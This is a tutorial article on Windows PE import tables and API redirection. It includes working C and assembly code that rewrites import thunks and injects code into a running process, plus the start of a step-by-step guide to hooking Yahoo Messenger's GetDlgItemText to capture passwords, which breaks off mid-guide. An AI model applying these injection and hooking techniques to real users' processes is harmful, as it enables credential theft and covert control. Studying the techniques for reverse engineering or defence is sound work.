Injective Code inside Import Table

https://www.codeproject.com/Articles/14360/Injective-Code-inside-Import-Table


Injective Code inside Import Table
Ashkbiz Danehkar, 29 Mar 2007
	   4.95 (118 votes)

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An introduction to injection the code into Import Table of Portable Executable file format, which is called API redirection technique.

    Import Table viewer - 87.1 KB
    PE Maker to redirect API by JMP - 96.6 KB
    PE Maker to redirect ShellAbout() - 193 KB
    Import Table runtime redirector - 130 KB

Contents

    Into Import Table
    Import Descriptor at a glance
    API redirection technique
    Protection again reversion
    Runtime Import Table Injection
    Trojan horse
    Consequences

Let's imagine we could redirect the thoroughfare of the imported function's entrances into our especial routines by manipulating the import table thunks, it could be possible to filter the demands of the importations through our routines. Furthermore, we could settle our appropriate routine by this performance, which is done by the professional Portable Executable (PE) Protectors, additionally some sort of rootkits employ this approach to embed its malicious code inside the victim by a Trojan horse.

In the reverse engineering world, we describe it as "API redirection technique". Nevertheless I am not going to accompany all viewpoints in this area by source code, this article merely represents a brief aspect of this technique by a simple code. I will describe other issues in the absence of the source code; I could not release code which is related to commercial projects or intended for malicious motivation, however, I think this article could be used as an introduction to this topic.
1. Into Import Table

The portable executable file structure consists of the MS-DOS header, the NT headers, the Sections headers and the Section images, as you observe in Figure 1. The MS-DOS header is common in all Microsoft executable file formats from the DOS days until the Windows days. The NT headers idea was abstracted form the Executable and Linkable Format (ELF) of UNIX System, indeed the Portable Executable (PE) format is Sister to the Linux Executable and Linkable Format (ELF). The PE format headers consists of the "PE" Signature, the Common Object File Format (COFF) header, the Portable Executable Optimal header and the Section headers.
Figure 1 - Portable Executable file format structure

The definition of the NT headers can be found in <winnt.h> header file of Virtual C++ included directory. This information can be retrieved very easy by using ImageNtHeader() from DbgHelp.dll. You can also employ the DOS header in order to fetch the NT headers, so the last position of the DOS header, e_lfanew, represents the offset of the NT headers.
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typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

In the Portable Executable Optional header, there are some data directories which delineate the relative location and the size of the principal information tables inside the virtual memory of the current process. These tables can hold the information of resource, import, export, relocation, debug, thread local storage, and COM runtime. It is impossible to find a PE executable file without the import table; this table contains the DLL names and the Functions names which are essential when the program tend to request them by their virtual addresses. The resource table is not found in the Console executable files; nevertheless it is vital part of the Windows executable files with Graphic User Interface (GUI). The export table is necessary when a dynamic link library inclines to export its function outside and also in OLE Active-X container. The .NET virtual machine could not be executed without being escorted by the COM+ runtime header. As you discerned, each table has especial commission in PE format, Figure 2.
Figure 2 - Data Directories

Data
Directories
	0 Export Table
1 Import Table
2 Resource Table
3 Exception Table
4 Certificate File
5 Relocation Table
6 Debug Data
7 Architecture Data
8 Global Ptr
9 Thread Local Storage Table
10 Load Config Table
11 Bound Import Table
12 Import Address Table
13 Delay Import Descriptor
14 COM+ Runtime Header
15 Reserved
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// <winnt.h>

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

// Optional header format.

typedef struct _IMAGE_OPTIONAL_HEADER
{
    ...

    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;


// Directory Entries
#define IMAGE_DIRECTORY_ENTRY_EXPORT     0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT     1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE   2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC  5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG      6 // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_TLS        9 // TLS Directory

We can obtain the position and size of the import table with only two or three lines. By knowing the position of the import table, we move to the next step to retrieve the DLL names and the Function names, it will be discussed in the succeeding section.
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PIMAGE_NT_HEADERS pimage_nt_headers = ImageNtHeader(pImageBase);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
    DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

PIMAGE_DOS_HEADER pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
PIMAGE_NT_HEADERS pimage_nt_headers = (PIMAGE_NT_HEADERS)
    (pImageBase + pimage_dos_header->e_lfanew);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
    DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

2. Import Descriptor at a glance

The import directory entry of the import table leads us to the position of the import table inside the file image. There is a container for each imported DLL, import descriptor, which embraces the address of first thunk and the address of original first thunk, the pointer to DLL name. The First Thunk refers to the location of the first thunk; the thunks will be initialized by PE loader of Windows during running the program, Figure 5. The Original First Thunk points to the first storage of the thunks, where provide the address of the Hint data and the Function Name data for each functions, Figure 4. In the case, the First Original Thunk is not present, the First Thunks refers to where the Hint data and the Function Name data are located, Figure 3.

The import descriptor is represented with IMAGE_IMPORT_DESCRIPTOR structures as the following definition:
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ypedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD   OriginalFirstThunk;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;

Members

    OriginalFirstThunk
    It points to the first thunk, IMAGE_THUNK_DATA, the thunk holds the address of the Hint and the Function name.
    TimeDateStamp
    It contains the time/data stamp if there is the binding. If it is 0, no bound in imported DLL has happened. In new days, it sets to 0xFFFFFFFF to describe the binding occurred.
    ForwarderChain
    In old version of binding, it acts as referee to the first forwarder chain of API. It can be set 0xFFFFFFFF to describe no forwarder.
    Name
    It shows the relative virtual address of DLL name.
    FirstThunk
    It contains the virtual address of the first thunk arrays that is defined by IMAGE_THUNK_DATA, the thunk is initialized by loader with function virtual address. In the absence view of the Original First Thunk, it points to the first thunk, the thunks of the Hints and The Function names.

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typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

typedef struct _IMAGE_THUNK_DATA {
    union {
        PDWORD                 Function;
        PIMAGE_IMPORT_BY_NAME  AddressOfData;
    } u1;
} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;

Figure 3 - Import Table View

Figure 4 - Import Table View with Orignal First Thunk

These two import tables (Figure 3 and Figure 4) illustrate the different between import table with and without the original first thunk.
Figure 5 - Import Table after overwritten by PE loader

We can use Dependency Walker, Figure 6, to observe the whole information of the import table. By the way, I have provided another tool, Import Table viewer, Figure 7, with simple and similar operation. I am sure its source will help you to understand better the main representation that is done by this kind of equipments.
Figure 6 - Dependency Walker, Steve P. Miller

Here we observe a simple source which could be used to display the import DLLs and the import Functions with a console mode program. However, I think my Import Table viewer, Figure 7, has more motivation to follow the topic because of its graphic user interface.
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PCHAR       pThunk;
PCHAR       pHintName;
DWORD       dwAPIaddress;
PCHAR       pDllName;
PCHAR       pAPIName;
//----------------------------------------
DWORD dwImportDirectory= RVA2Offset(pImageBase, pimage_nt_headers->
    OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
    VirtualAddress);
//----------------------------------------
PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor= (PIMAGE_IMPORT_DESCRIPTOR)
                                                   (pImageBase+
                                                        dwImportDirectory);
//----------------------------------------
while(pimage_import_descriptor->Name!=0)
{
    pThunk= pImageBase+pimage_import_descriptor->FirstThunk;
    pHintName= pImageBase;
    if(pimage_import_descriptor->OriginalFirstThunk!=0)
    {
        pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->
            OriginalFirstThunk);
    }
    else
    {
        pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->
            FirstThunk);
    }
    pDllName= pImageBase + RVA2Offset(pImageBase, pimage_import_descriptor->
        Name);
    printf(" DLL Name: %s First Thunk: 0x%x", pDllName,
           pimage_import_descriptor->FirstThunk);
    PIMAGE_THUNK_DATA pimage_thunk_data= (PIMAGE_THUNK_DATA) pHintName;
    while(pimage_thunk_data->u1.AddressOfData!=0)
    {
        dwAPIaddress= pimage_thunk_data->u1.AddressOfData;
        if((dwAPIaddress&0x80000000)==0x80000000)
        {
            dwAPIaddress&= 0x7FFFFFFF;
            printf("Proccess: 0x%x", dwAPIaddress);
        }
        else
        {
            pAPIName= pImageBase+RVA2Offset(pImageBase, dwAPIaddress)+2;
            printf("Proccess: %s", pAPIName);
        }
        pThunk+= 4;
        pHintName+= 4;
        pimage_thunk_data++;
    }
    pimage_import_descriptor++;
}

Figure 7 - Import Table viewer

3. API redirection technique

We perceive all essential knowledge regarding the import table, so it is the time to establish our redirection method. The algorithm is so simple, creating an extra virtual space inside the virtual memory of the current process, and generate instructions to redirect with JMP to original function location. We can perform it by absolute jump or relative jump. You should take care in the case of the absolute jump, you can not perform it simply as in Figure 8, you should first move the virtual address to EAX and then a jump by JMP EAX. In pemaker6.zip, I have done a redirection by relative jump.
Figure 8 - Overview of a simple API redirection by the absolute jump instruction

This PE maker was created in the consequence of my previous article [1], I suggest you to read it if you are interested to know how it works. In this version, I have modified the Import table fix up routine, as you see in the following lines, I wrote some lines to generate relative JMP instruction to the real position of the function. It is important to know, you could not perform the API redirection for all DLL modules. For instance, in CALC.EXE, some thunks of MSVCRT.DLL will be accessed from inside of CALC.EXE code section during the runtime initialization. Therefore, it will not work in the case of the redirection.
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_it_fixup_1:
    push ebp
    mov ebp,esp
    add esp,-14h
    push PAGE_READWRITE
    push MEM_COMMIT
    push 01D000h
    push 0
    call _jmp_VirtualAlloc
    //NewITaddress=VirtualAlloc(NULL, 0x01D000, MEM_COMMIT, PAGE_READWRITE);
    mov [ebp-04h],eax
    mov ebx,[ebp+0ch]
    test ebx,ebx
    jz _it_fixup_1_end
    mov esi,[ebp+08h]
    add ebx,esi                   // dwImageBase + dwImportVirtualAddress
_it_fixup_1_get_lib_address_loop:
        mov eax,[ebx+0ch]         // image_import_descriptor.Name
        test eax,eax
        jz _it_fixup_1_end

        mov ecx,[ebx+10h]         // image_import_descriptor.FirstThunk
        add ecx,esi
        mov [ebp-08h],ecx         // dwThunk
        mov ecx,[ebx]             // image_import_descriptor.Characteristics
        test ecx,ecx
        jnz _it_fixup_1_table
            mov ecx,[ebx+10h]
_it_fixup_1_table:
        add ecx,esi
        mov [ebp-0ch],ecx         // dwHintName
        add eax,esi               // image_import_descriptor.Name +
                                      // dwImageBase = ModuleName
        push eax                  // lpLibFileName
        mov [ebp-10h],eax
        call _jmp_LoadLibrary     // LoadLibrary(lpLibFileName);

        test eax,eax
        jz _it_fixup_1_end
        mov edi,eax
_it_fixup_1_get_proc_address_loop:
            mov ecx,[ebp-0ch]            // dwHintName
            mov edx,[ecx]                // image_thunk_data.Ordinal
            test edx,edx
            jz _it_fixup_1_next_module
            test edx,080000000h          // .IF( import by ordinal )
            jz _it_fixup_1_by_name
                and edx,07FFFFFFFh// get ordinal
                jmp _it_fixup_1_get_addr
_it_fixup_1_by_name:
            add edx,esi                  // image_thunk_data.Ordinal +
                                             // dwImageBase = OrdinalName
            inc edx
            inc edx                      // OrdinalName.Name
_it_fixup_1_get_addr:
            push edx                     // lpProcName
            push edi                     // hModule
            call _jmp_GetProcAddress     // GetProcAddress(hModule,lpProcName);
            mov [ebp-14h],eax            //_p_dwAPIaddress
            //================================================================
            //            Redirection  Engine
            push edi
            push esi
            push ebx

            mov ebx,[ebp-10h]
            push ebx
            push ebx
            call _char_upper

            mov esi,[ebp-10h]
            mov edi,[ebp+010h]
_it_fixup_1_check_dll_redirected:
                push edi
                call __strlen
                add  esp, 4

                mov ebx,eax
                mov ecx,eax
                push edi
                push esi
                repe cmps
                jz  _it_fixup_1_do_normal_it_0
                pop esi
                pop edi
                add edi,ebx
            cmp byte ptr [edi],0
            jnz _it_fixup_1_check_dll_redirected
                mov ecx,[ebp-08h]
                mov eax,[ebp-014h]
                mov [ecx],eax
                jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
                pop esi
                pop edi
                mov edi,[ebp-04h]
                mov byte ptr [edi], 0e9h   // JMP Instruction
                mov eax,[ebp-14h]
                sub eax, edi
                sub eax, 05h
                mov [edi+1],eax            // Relative JMP value
                mov word ptr [edi+05], 0c08bh
                mov ecx,[ebp-08h]
                mov [ecx],edi              // -> Thunk
                add dword ptr [ebp-04h],07h
_it_fixup_1_do_normal_it_1:
            pop ebx
            pop esi
            pop edi
            //==============================================================
            add dword ptr [ebp-08h],004h   // dwThunk => next dwThunk
            add dword  ptr [ebp-0ch],004h  // dwHintName => next dwHintName
        jmp _it_fixup_1_get_proc_address_loop
_it_fixup_1_next_module:
        add ebx,014h                       // sizeof(IMAGE_IMPORT_DESCRIPTOR)
    jmp _it_fixup_1_get_lib_address_loop
_it_fixup_1_end:
    mov esp,ebp
    pop ebp
    ret 0ch

Do not think the API redirection is discharged with this simple method in professional EXE protectors; they have an x86 instruction generator engine which is used to create the code for redirection purpose. Some time this engine is accompanied with metamorphism engine, that makes them extremely complicated to analyze.
How does it work?

The preceding code works according to the succeeding algorithm:

    Create a separated space to store the generated instructions by VirtualAlloc().

    Find the function virtual address by LoadLibrary() and GerProcAddress().

    Check if DLL name is match with valid DLL list. In this example, we recognize KERNEL32.DLL, USER32.DLL, GDI32.DLL, ADVAPI32.DLL,and SHELL32.DLL as valid DLL name to be redirect.

    If DLL name is valid, go to redirect routine, otherwise initialize the thunk with the original function virtual address.

    To redirect API, generate the JMP (0xE9) instruction , calculate the relative position of the function position in order to establish a relative jump.

    Store the generated instructions inside the separated space, and refer the thunk to the first position of these instructions.

    Continue this routine for other the Functions and the DLLs.

If you implement this performance on CALC.EXE, and trace it by OllyDbg or a similar user mode debugger, you will perceive this code generated a view as similar as the following view:
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008E0000  - E9 E6F8177C    JMP SHELL32.ShellAboutW
008E0005    8BC0           MOV EAX,EAX
008E0007  - E9 0F764F77    JMP ADVAPI32.RegOpenKeyExA
008E000C    8BC0           MOV EAX,EAX
008E000E  - E9 70784F77    JMP ADVAPI32.RegQueryValueExA
008E0013    8BC0           MOV EAX,EAX
008E0015  - E9 D66B4F77    JMP ADVAPI32.RegCloseKey
008E001A    8BC0           MOV EAX,EAX
008E001C  - E9 08B5F27B    JMP kernel32.GetModuleHandleA
008E0021    8BC0           MOV EAX,EAX
008E0023  - E9 4F1DF27B    JMP kernel32.LoadLibraryA
008E0028    8BC0           MOV EAX,EAX
008E002A  - E9 F9ABF27B    JMP kernel32.GetProcAddress
008E002F    8BC0           MOV EAX,EAX
008E0031  - E9 1AE4F77B    JMP kernel32.LocalCompact
008E0036    8BC0           MOV EAX,EAX
008E0038  - E9 F0FEF27B    JMP kernel32.GlobalAlloc
008E003D    8BC0           MOV EAX,EAX
008E003F  - E9 EBFDF27B    JMP kernel32.GlobalFree
008E0044    8BC0           MOV EAX,EAX
008E0046  - E9 7E25F37B    JMP kernel32.GlobalReAlloc
008E004B    8BC0           MOV EAX,EAX
008E004D  - E9 07A8F27B    JMP kernel32.lstrcmpW
008E0052    8BC0           MOV EAX,EAX

For your homework, you can practice changing the PE Maker source with the absolute jump instruction by this code:
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008E0000  - B8 EBF8A57C    MOV EAX,7CA5F8EBh // address of SHELL32.ShellAboutW
008E0005    FFE0           JMP EAX

What do you call this?

This time, I want to change the function of an API by this technique. I am not sure if we can call it "API redirection" again. In this sample, I redirect the ShellAbout() dialog of CALC.EXE to my "Hello World!" message box in pemaker7.zip. You will see how easy it is implemented by a few changes in the following code:
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            ...
            //==============================================================
            push edi
            push esi
            push ebx

            mov ebx,[ebp-10h]
            push ebx
            push ebx
            call _char_upper

            mov esi,[ebp-10h]
            mov edi,[ebp+010h]        // [ebp+_p_szShell32]
_it_fixup_1_check_dll_redirected:
                push edi
                call __strlen
                add esp, 4

                mov ebx,eax
                mov ecx,eax
                push edi
                push esi
                repe cmps             //byte ptr [edi], byte ptr [esi]
                jz _it_fixup_1_check_func_name
                jmp _it_fixup_1_no_check_func_name
_it_fixup_1_check_func_name:
                mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
                push edi
                call __strlen
                add esp, 4
                mov ecx,eax
                mov esi,[ebp-18h]
                mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
                repe cmps //byte ptr [edi], byte ptr [esi]
                jz _it_fixup_1_do_normal_it_0
_it_fixup_1_no_check_func_name:
                pop esi
                pop edi
                add edi,ebx
            cmp byte ptr [edi],0
            jnz _it_fixup_1_check_dll_redirected
            mov ecx,[ebp-08h]
            mov eax,[ebp-014h]
            mov [ecx],eax
            jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
                pop esi
                pop edi
                mov ecx,[ebp-08h]
                mov edi,[ebp+18h]
                mov [ecx],edi  // move address of new function to the thunk
_it_fixup_1_do_normal_it_1:
            pop ebx
            pop esi
            pop edi
            //==============================================================
            ...

I summarize this routine successively:

    Check if DLL name is "Shell32.DLL".

    Check if Function name is "ShellAboutW".

    If condition 1 and 2 are true, redirect the thunk of ShellAbout() to new function.

This new function is a simple message box:
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_ShellAbout_NewCode:
_local_0:
    pushad    // save the registers context in stack
    call _local_1
_local_1:
    pop ebp
    sub ebp,offset _local_1 // get base ebp
    push MB_OK | MB_ICONINFORMATION
    lea eax,[ebp+_p_szCaption]
    push eax
    lea eax,[ebp+_p_szText]
    push eax
    push NULL
    call _jmp_MessageBox
    // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
    popad   // restore the first registers context from stack
    ret 10h

When you plan to replace an API with a new function, you should consider some important notes:

    Do not corrupt the Stack memory by missing the stack point. Therefore, it is necessary to restore finally the original stack point by ADD ESP,xxx or RET xxx.
    Try to keep safe the most of the thread registers except EAX by capturing and restoring them with PUSHAD and POPAD.

As you see, I have employed the PUSHAD and POPAD to reclaim the thread registers. For this case, ShellAbout(), it has 4 DWORD memebers so the stack point is increased 0x10 while returning.

After redirecting ShellAbout(), you can try About Calculator menu item form Help menu, you will see what it has done on target CALC.EXE.
Figure 9 - The redirection of About Calculator to a dialog message box

The EXE protectors manipulate the target in this way; they establish the redirection to their extra memory space, the next section will discuss.
4. Protection again reversion

It is extremely difficult to reconstruct an import table with complex API redirection technique. Sometimes the tools like Import REConstructor, Figure 10, will be confused to rebuild the import table, especially if the redirection is accomplished with polymorphism code image. Import REConstructor is a famous tool in the reverse world; it will suspend the target process in order to capture the import information. If you make a redirection like a simile JMP, it certainly will be reconstructed with this tool. Nevertheless, if we encrypt the Function name and bundle it with polymorphism code inside the memory, it will be befogged to retrieve the correct import table. We present our EXE protector according to this technique, "Native Security Engine", [6] is a packer which follow this way. It has an x86 code generator plus a metamorphism engine, both of them help to establish a complex redirection structure.
Figure 10 - Import REConstructor, MackT/uCF2000

The Figure 11 illustrates the main strategy of the import protection in EXE protectors. Some of them employ the redirection to virtual Win32 libraries. For instance, they have the virtual libraries for Kernel32, User32, and AdvApi32. They use their own libraries to prevent from hacking or to install their Virtual Machine.
Figure 11 - Import Table Protection

It is achievable to cut off the access to outside by this technique. As you see, MoleBox behaves the same, it filters FindFirstFile() and FindNextFile() in order to merge TEXT files and JPEG files inside the packed file. When the program tends to find a file form hard disk, it will be redirected to memory.
5. Runtime Import Table Injection

Now I want to discuss once more. This topic is certainly interesting for the people who intend to understand the maneuver of the user level (ring-3) rootkits [7] on Windows System. First and final question: "How it is obtainable to inject to import table of a runtime process?" This section will answer to this question.

We want to inject to a runtime process and modify it. If you remember, in one of my previous articles [2], I established a Windows Spy to capture Windows Class properties and modify them runtime. This time, I will move near to rewrite the memory and redirect import table from outside.

    By using WindowFromPoint() we can obtain the window handle of a special point, GetWindowThreadProcessId() aids us to know the process ID and the thread ID of this window handle.
    Hide   Copy Code

    POINT point;
    HWND hWindowUnderTheMouse = WindowFromPoint(point);

    DWORD    dwProcessId;
    DWORD    dwThreadId;
    dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);

    The process handle and the thread are acquired by OpenProcess() and OpenThread(). But there is no OpenThread() in Windows 98! Do not worry, try to find RT library by EliCZ', a library to emulate OpenThread(), CreateRemoteThread(), VirtualAllocEX(), and VirtualFreeEx() inside Windows 98.
    Hide   Copy Code

    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );
    HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);

    To start to manipulate the process memory, we should first freeze the process by suspending the main thread.
    Hide   Copy Code

    SuspendThread(hThread);

    The Thread Environment Block (TEB) location can be obtained by FS:[18] which we do not have access to it! so GetThreadContext() and GetThreadSelectorEntry() help us to know the base value of FS segment.
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    CONTEXT        Context;
    LDT_ENTRY    SelEntry;

    Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(hThread,&Context);

    // Calculate the base address of FS
    GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
    DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |
                     (SelEntry.HighWord.Bits.BaseMid << 16) |
                      SelEntry.BaseLow;

    The Thread Environment Block (TEB) is obtained by reading from its position inside the virtual memory of the target process. The thread and process environment blocks, Figure 12, has been explained enough in "Undocumented Windows 2000 secrets" [4]. Moreover, the NTInternals team [5] presents the complete definition of TEB and FEB. As I guessed, the Microsoft team has forgotten to offer information about them or do not intend to make them public! This is the reason I like the Linux team.
    Hide   Copy Code

    PTEB pteb = new TEB;
    PPEB ppeb = new PEB;
    DWORD       dwBytes;

    ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB),
        &dwBytes);
    ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB),
        &dwBytes);

    Figure 12 - The Thread Environment Blocks and the Process Environment Block

    The image base of portable executable image inside the current process memory is found from the process environment block information.
    Hide   Copy Code

    DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;

    ReadProcessMemory() helps us to read the entire image of the portable executable file.
    Hide   Copy Code

    PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;
    PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;

    ReadProcessMemory( hProcess,
                      (LPCVOID)dwImageBase,
                       pimage_dos_header,
                       sizeof(IMAGE_DOS_HEADER),
                      &dwBytes);
    ReadProcessMemory( hProcess,
                      (LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew),
                       pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),
                      &dwBytes);

    PCHAR pMem = (PCHAR)GlobalAlloc(
                       GMEM_FIXED | GMEM_ZEROINIT,
                       pimage_nt_headers->OptionalHeader.SizeOfImage);

    ReadProcessMemory( hProcess,
                      (LPCVOID)(dwImageBase),
                       pMem,
                       pimage_nt_headers->OptionalHeader.SizeOfImage,
                      &dwBytes);

    We watch the DLL names and the thunk values find our target and to redirect it. In this example, the DLL name is Shell32.dll and the thunk is the virtual address of ShellAbout().
    Hide   Shrink   Copy Code

    HMODULE hModule = LoadLibrary("Shell32.dll");
    DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");

    DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
                       hProcess,
                       NULL,
                       0x01D000,
                       MEM_COMMIT,
                       PAGE_EXECUTE_READWRITE);

    RedirectAPI(pMem, dwShellAbout, dwRedirectMem);

    ...

    int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)
    {
        PCHAR     pThunk;
        PCHAR     pHintName;
        DWORD     dwAPIaddress;
        PCHAR     pDllName;
        DWORD     dwImportDirectory;

        DWORD     dwAPI;

        PCHAR pImageBase = pMem;
        //----------------------------------------
        PIMAGE_IMPORT_DESCRIPTOR    pimage_import_descriptor;
        PIMAGE_THUNK_DATA           pimage_thunk_data;
        //----------------------------------------
        PIMAGE_DOS_HEADER pimage_dos_header;
        PIMAGE_NT_HEADERS pimage_nt_headers;
        pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
        pimage_nt_headers = (PIMAGE_NT_HEADERS)(
            pImageBase+pimage_dos_header->e_lfanew);
        //----------------------------------------
        dwImportDirectory=pimage_nt_headers->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
        if(dwImportDirectory==0)
        {
            return -1;
        }
        //----------------------------------------
        pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(
            pImageBase+dwImportDirectory);
        //----------------------------------------
        while(pimage_import_descriptor->Name!=0)
        {
            pThunk=pImageBase+pimage_import_descriptor->FirstThunk;
            pHintName=pImageBase;
            if(pimage_import_descriptor->OriginalFirstThunk!=0)
            {
                pHintName+=pimage_import_descriptor->OriginalFirstThunk;
            }
            else
            {
                pHintName+=pimage_import_descriptor->FirstThunk;
            }
            pDllName=pImageBase+pimage_import_descriptor->Name;

            StrUpper(pDllName);
            if(strcmp(pDllName,"SHELL32.DLL")==0)
            {
                pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
                while(pimage_thunk_data->u1.AddressOfData!=0)
                {
                    //----------------------------------------
                    memcpy(&dwAPI, pThunk, 4);
                    if(dwAPI==API_voffset)
                    {
                        memcpy(pThunk, &NEW_voffset, 4);
                        return 0;
                    }
                    //----------------------------------------
                    pThunk+=4;
                    pHintName+=4;
                    pimage_thunk_data++;
                }
            }
            pimage_import_descriptor++;
        }
        //----------------------------------------
        return -1;
    }

    Extra memory for the redirection purpose is created by VirtualProtectEx(). We will generate the code and write it inside the new spare space.
    Hide   Copy Code

    DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
                       hProcess,
                       NULL,
                       0x01D000,
                       MEM_COMMIT,
                       PAGE_EXECUTE_READWRITE);

    ...

    PCHAR pLdr;
    DWORD Ldr_rsize;
    GetLdrCode(pLdr, Ldr_rsize);

    WriteProcessMemory( hProcess,
                       (LPVOID)(dwRedirectMem),
                       pLdr,
                       Ldr_rsize,
                       &dwBytes);

    The loader is written on the extra memory. It holds the code to show a sample message box.
    Hide   Shrink   Copy Code

    void GetLdrCode(PCHAR &pLdr, DWORD &rsize)
    {
        HMODULE     hModule;
        DWORD       dwMessageBox;

        PCHAR       ch_temp;
        DWORD       dwCodeSize;
        ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader,
             DYN_LOADER_START_MAGIC))+4;
        dwCodeSize=DWORD(ReturnToBytePtr(DynLoader,
            DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
        rsize= dwCodeSize;
        pLdr =  (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);
        memcpy(pLdr, ch_temp, dwCodeSize);

        ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);

        hModule = LoadLibrary("User32.dll");
        dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");
        memcpy(ch_temp+4, &dwMessageBox, 4);
    }

        ...
    _ShellAbout_NewCode:
    _local_0:
        pushad    // save the registers context in stack
        call _local_1
    _local_1:
        pop ebp
        sub ebp,offset _local_1// get base ebp
        push MB_OK | MB_ICONINFORMATION
        lea eax,[ebp+_p_szCaption]
        push eax
        lea eax,[ebp+_p_szText]
        push eax
        push NULL
        mov eax, [ebp+_p_MessageBox]
        call eax
        // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
        popad    // restore the first registers context from stack
        ret 10h
        ...

    The executable image is written on memory after modification. Do not forget to set full access on memory in front of writing.
    Hide   Copy Code

    VirtualProtectEx( hProcess,
                     (LPVOID)(dwImageBase),
                      pimage_nt_headers->OptionalHeader.SizeOfImage,
                      PAGE_EXECUTE_READWRITE,
                     &OldProtect);

    WriteProcessMemory( hProcess,
                       (LPVOID)(dwImageBase),
                        pMem,
                        pimage_nt_headers->OptionalHeader.SizeOfImage,
                       &dwBytes);

    VirtualProtectEx() sets the page access to PAGE_EXECUTE_READWRITE protection type. It is necessary to have PAGE_READWRITE access when WriteProcessMemory is used and PAGE_EXECUTE in the case of executable page.

    Now the process is ready to unfreeze and the life will start again, but what happens? Try the about menu item you will see, Figure 13, this is the first aspect of the injection life!
    Hide   Copy Code

    ResumeThread(hThread);

Figure 13 - Runtime Injection into ShellAbout() Thunk

I am thinking about injection to other API thunks, we can also upload other dynamic link libraries in the target process to redirect the victim thunk to it, but that has been explained completely in another article [3]. The next section discusses a bit about one of the disasters which comes as a consequence of this performance. You can imagine other possible tsunamis by yourself.
6. Trojan horse

Always block the Pop-Up on your web browser and turn off the automatic installing of Active-X controls and plug-ins on your Internet Explorer. It will come to your computer inside an OLE component or small DLL plug-ins and come to life inside a process. Some time, this life is inside a import table of a special process (for instance Yahoo Messenger or MSN Messenger). It can hook all Windows control and filter the API (oh my God!) Where did the password of my e-mail go? This is one possibility of a user level rootkit [7]. It can make a root to your computer and steal your important information. The Antivirus only can scan the file image; they lost their control over the runtime process injection. Therefore, when you survey on the web be careful and always use a strong firewall filter.
How does a Yahoo Messenger hooker work?

I explain the practicable steps of how to write a Yahoo Messenger hooker:

    Obtain the Yahoo Messenger handle with its class name by using FindWindow().
    Hide   Copy Code

    HWND hWnd = FindWindow("YahooBuddyMain", NULL);

    Implement an injection to its process as similar as the previous section.
    Perform this injection on the import thunk of GetDlgItemText() to filter its members.
    Hide   Copy Code

    UINT GetDlgItemText( HWND hDlg,
                         int nIDDlgItem,
                         LPTSTR lpString,
                         int nMaxCount);

    Compare the dialog item ID, nIDDlgItem, with the specific ID to detect which item currently is in use. If the ID is found, hook the string with original GetDlgItemText().
    Hide   Copy Code

    CHAR pYahooID[127];
